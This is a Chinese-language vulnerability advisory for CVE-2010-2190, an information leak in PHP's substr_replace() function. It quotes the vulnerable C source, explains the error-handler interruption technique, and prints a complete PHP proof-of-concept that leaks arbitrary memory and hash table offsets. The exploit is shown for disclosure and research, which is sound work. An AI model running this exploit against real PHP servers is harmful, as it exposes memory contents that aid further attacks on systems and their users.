发布日期:2010-05-30
更新日期:2010-06-25受影响系统:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述:
--------------------------------------------------------------------------------
CVE ID: CVE-2010-2190PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。PHP的substr_replace()函数中存在信息泄露漏洞:PHP_FUNCTION(substr_replace)
{
... if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ZZZ|Z", &str, &repl, &from, &len) == FAILURE) {
return;
}
if (Z_TYPE_PP(str) != IS_ARRAY) {
convert_to_string_ex(str);
}
if (Z_TYPE_PP(repl) != IS_ARRAY) {
convert_to_string_ex(repl);
}
if (Z_TYPE_PP(from) != IS_ARRAY) {
convert_to_long_ex(from);
} if (argc > 3) {
SEPARATE_ZVAL(len);
if (Z_TYPE_PP(len) != IS_ARRAY) {
convert_to_long_ex(len);
l = Z_LVAL_PP(len);
}
} else {
if (Z_TYPE_PP(str) != IS_ARRAY) {
l = Z_STRLEN_PP(str);
}
} if (Z_TYPE_PP(str) == IS_STRING) {
if (
(argc == 3 && Z_TYPE_PP(from) == IS_ARRAY) ||
(argc == 4 && Z_TYPE_PP(from) != Z_TYPE_PP(len))
) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, ""from" and "len" should be of same type - numerical or array ");
RETURN_STRINGL(Z_STRVAL_PP(str), Z_STRLEN_PP(str), 1);
}如果使用不同类型的from和len参数调用了substr_replace(),就会触发E_WARNING错误。只要PHP中没有删除call time pass by reference功能,用户空间的出错处理器就可以利用这个中断更改str参数的类型。如果将其更改为整型,就会泄露任意内存;如果更改为数组,就会泄露带有重要内部内存偏移的哈希表。<*来源:Stefan Esser (s.esser@ematters.de)
链接:http://www.php-security.org/2010/05/30/mops-2010-048-php-substr_replace-interruption-information-leak-vulnerability/index.html
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!<?php
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
$GLOBALS["var"] = str_repeat("A", 39);
} else {
$GLOBALS["var"] = str_repeat("A", 67);
}/* Setup Error Handler */
set_error_handler("my_error");/* Trigger the Code */
$x = substr_replace(&$GLOBALS["var"], "XXXX", "XXXX", array());
restore_error_handler();echo "Hexdump of an array
";
hexdump($x); /* Alternatively leak arbitrary memory address */
if (is_float($i)) {
$tmp = unpack("L",substr($x, 8*4, 4));
$GLOBALS["addr"] = $tmp[1];
$GLOBALS["var"] = str_repeat("A", 39);
} else {
$tmp = unpack("L2",substr($x, 0x38, 8));
$GLOBALS["addr"] = $tmp[1] + ($tmp[2] << 32); /* ASSUME LITTLE ENDIAN */
$GLOBALS["var"] = str_repeat("A", 67);
}/* Setup Error Handler */
set_error_handler("my_silent_error");/* Trigger the Code */
$x = substr_replace(&$GLOBALS["var"], new dummy(), "XXXX", array());
restore_error_handler();echo "
Hexdump of zval_ptr_dtor
";
hexdump($x);/* HELPERS FOR LEAKING ARRAY CONTENT */function my_error()
{
parse_str("xxxxxxxxxx=1", $GLOBALS["var"]);
return 1;
}/* HELPERS FOR LEAKING ARBITRARY ADDRESSES */function my_silent_error()
{
return 1;
}class dummy
{
function __toString()
{
/* now the magic */
$GLOBALS["var"] += $GLOBALS["addr"];
return "";
}
}/* Helper function */
function hexdump($x)
{
$l = strlen($x);
$p = 0; echo "Hexdump
";
echo "-------
"; while ($l > 16) {
echo sprintf("%08x: ",$p);
for ($i=0; $i<16; $i++) {
echo sprintf("%02X ", ord($x[$p+$i]));
}
echo " ";
for ($i=0; $i<16; $i++) {
$c = ord($x[$p+$i]);
echo ($c < 32 || $c > 127) ? "." : chr($c);
}
$l-=16;
$p+=16;
echo "
";
}
if ($l > 0)
echo sprintf("%08x: ",$p);
for ($i=0; $i<$l; $i++) {
echo sprintf("%02X ", ord($x[$p+$i]));
}
for ($i=0; $i<16-$l; $i++) { echo "-- "; } echo " ";
for ($i=0; $i<$l; $i++) {
$c = ord($x[$p+$i]);
echo ($c < 32 || $c > 127) ? "." : chr($c);
}
echo "
";
}
?>建议:
--------------------------------------------------------------------------------
厂商补丁:PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.php.netBugzilla时间追踪功能信息泄露漏洞Ubuntu iptables 防止IP攻击相关资讯 漏洞
- 快递官网漏洞泄露 1400 万用户信息 (08/12/2014 08:37:42)
- 要389目录服务器访问绕过漏洞 (10/01/2012 09:18:08)
- ASUS Net4Switch "ipswcom.dll" (03/02/2012 09:32:42)
| - 软件漏洞是一笔大买卖! (10/06/2012 08:28:32)
- PHPCMS V9.1.13任意文件包含漏洞分 (08/01/2012 07:23:17)
- Open Handset Alliance Android (03/01/2012 06:59:34)
|
本文评论 查看全部评论 (0)
评论声明- 尊重网上道德,遵守中华人民共和国的各项有关法律法规
- 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
- 本站管理人员有权保留或删除其管辖留言中的任意内容
- 本站有权在网站内转载或引用您的评论
- 参与本评论即表明您
|